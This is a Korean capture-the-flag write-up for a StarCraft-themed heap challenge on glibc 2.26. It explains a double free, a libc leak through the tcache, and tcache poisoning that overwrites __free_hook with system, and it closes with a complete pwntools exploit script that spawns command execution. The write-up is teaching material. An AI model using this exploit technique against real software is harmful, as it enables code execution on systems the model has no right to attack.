Whitehat Final PAC - 500pt

glibc 2.26 환경에서 문제를 풀어본 적이 없기 때문에, 문제 풀면서 tcache에 대해 공부된 것 같다.

Mitigation

Imgur

CANARY,PIE,NX,RELRO가 다 걸린것을 볼 수 있다.

제일 중요한것은 glibc가 2.26 version이라는것이다. glibc malloc에 tcache라는것이 생겼다.

Problem Introduction

간단히 문제를 소개하자면, 스타크래프트 컨셉이다. 종족을 선택하고 각 종족의 유닛을 39개까지 생성했다. 지웠다 할 수 있다. 기존 스타에 있는 치트키 같은것도 히든메뉴로 존재한다.

먼저, 유닛을 생성하기 위해 미네랄과 가스가 필요한데, 이부분은 히든메뉴인, 치트키로부터 얻을 수 있다.

Imgur

< 메뉴 >

Imgur

< CheatKey 함수 >

미네랄과 가스를 얻었으면, 이제 유닛을 만들 수 있다.

Imgur

< 마린 생성 함수 >

malloc(0x30)으로 마린 정보 저장하고, 그 유닛의 hp 만큼 malloc을 할당한 다음, 이름을 입력 받는다.

Imgur

< status 함수 >

3번 메뉴인, 상태함수에 들어가게 되면, 지금까지 만든 유닛의 정보와 이름을 출력해준다.

Imgur

< remove 함수 >

remove 함수에서는 유닛을 삭제 해준다.

Vulnerability

취약점이 여러가지가 존재하는데,how2heap 문서를 보면서 tcache_poisoning 방법으로 풀었다.

Double Free & stack overflow

Imgur

free하고 나서, 전역변수에 ptr을 지워주지 않기 때문에, double free 취약점이 생긴다.

그리고 scanf에 %s를 사용하기 때문에, bof가 일어난다. 하지만, 카나리가 있기 때문에 카나리만 릭해서 우회하면 간단하게 익스 할 수 있다. 그러나 나는 2.26 환경에 tcache를 처음 접해보기 때문에, how2heap 문서를 보면서 처음 접해보는 tcache_dup 방법으로 풀어보았다.

Libc Leak

보통 힙 관련 문제에서는 대충 small bin 하나 만들어서 free 해주면, fd bk에 main_arena+88이 생겨서 libc를 leak 할 수 있었다.

tcache에서는 기존 방법으로 libc를 leak 할 수 없었다. 그래서 검색해보던중, tcache는 최대 7개의 청크를 가질 수 있고, 그러므로 7개 이상 청크를 free 하면 나머지 청크는 평소처럼 처리 된다는 사실 알게 되었다. 7개의 힙을 만들고, free한 뒤에 평소처럼 0x100 크기의 청크가 해제되면 unsorted bin으로 처리 되어 평소처럼 libc leak를 할 수 있다.

Imgur

릭은 status 메뉴에서 하면 된다.

tcache_poisoning

int *ptr = malloc(8);
free(ptr);
*ptr = &free_hook;
int *ptr2 = malloc(8); // ptr == ptr2
int *ptr3 = malloc(8); // ptr3 == &free_hook;

how2heap 문서를 보니까, 할당하고 free된 상태에서 fd자리에 특정 값을 쓰게 되면, 다음 할당하면 기존처럼 그자리에 재할당되고 다음 malloc 리턴이 그 특정 값이 되게 된다.

아까 그 유닛생성과 삭제할때 double free를 이용하여 free된 공간 fd 자리에 free_hook을 쓸 수 있었따.

int *ptr = malloc(40)
int *ptr2 = malloc(30)
free(ptr);
free(ptr2);
free(ptr);
int *ptr3 = malloc(40);  // ptr3 == ptr 
*ptr3 = &free_hook;
int *ptr4 = malloc(30);
int *ptr5 = malloc(40);  // ptr3 == ptr5 == ptr
int *ptr6 = malloc(40);  // ptr6 is &free_hook! 

위와 같은 구조로 free_hook을 ptr6 자리로 오게 끔 만들 수 있었다.

Imgur

유닛 생성중에 유닛hp 만큼 할당하고 그부분에 read로 입력받는 부분이 있는데, 유닛hp만큼 malloc 하는 부분을 공략하여 malloc의 리턴을 free_hook으로 만들어주면, free_hook에 system_libc를 덮을 수 있다.

Imgur

free_hook을 system_libc로 덮었으면, 유닛이름에 /bin/sh이나, cat flag 등 원하는 명령어를 넣고 그 유닛을 삭제하려고 하면 원하는 명령어를 실행 할 수 있게 된다.

Exploit Code

from pwn import *

#context.log_level = 'DEBUG'
#s =remote("192.168.11.211",5959)
s = process("./PAC",env={"LD_PRELOAD":"./libc-2.26.so"})

def create_unit(num,name):
	s.sendlineafter(">>","1")
        s.sendlineafter(">> ",str(num))
	s.sendlineafter(" Name: \n",str(name))

def remove_unit(index,t):
        s.sendlineafter(">>","2")
	s.sendlineafter("Index:",str(index))
        if t==1:
	    print s.sendlineafter("Unit Data Delete ?","yes")
        else:
	    print s.sendlineafter("Unit Data Delete ?","no")

def login(id_,pw_):
	s.sendlineafter(">> ","1")
	s.sendlineafter("ID: ",str(id_))
	s.sendlineafter("PW: ",str(pw_))
	s.sendlineafter(">> ","2")
	s.sendlineafter(">> ","1")
	s.sendlineafter(">> ","1")
	s.sendlineafter(">> ","3")

def cheat_key():
	s.sendlineafter(">>","9999")
	s.sendlineafter("CMD :","showmethemoney")
	s.sendlineafter(">>","9999")
	s.sendlineafter("CMD :","OperationCWAL")

def libc_leak():
	for i in range(8):
		create_unit(5,"test")
	for i in range(7,-1,-1):
		remove_unit(i,0)
	s.sendlineafter(">>","3")
	libc_base  = u64(s.recvuntil("\x7f")[-6:] + "\x00"*2)-0x3dac78
	return libc_base

def exploit(libc_base):
	free_hook = libc_base + 0x3DC8A8
	system_libc = libc_base +0x47DC0
	create_unit(4,"test4")
	create_unit(2,"test2")
	remove_unit(8,0)
	remove_unit(9,0)
	remove_unit(8,0)
	create_unit(4,p64(free_hook))
	create_unit(2,"cat flag\x00")
    create_unit(4,"cat flag\x00")
	create_unit(4,p64(system_libc))
        remove_unit(10,0)

login("test","test")
cheat_key()
libc_base = libc_leak()
exploit(libc_base)

log.info("libc_base : " + hex(libc_base))
log.info("free_hook : " + hex(libc_base+0x3dc8a8))
log.info("system_libc : " + hex(libc_base+0x47dc0))

s.interactive()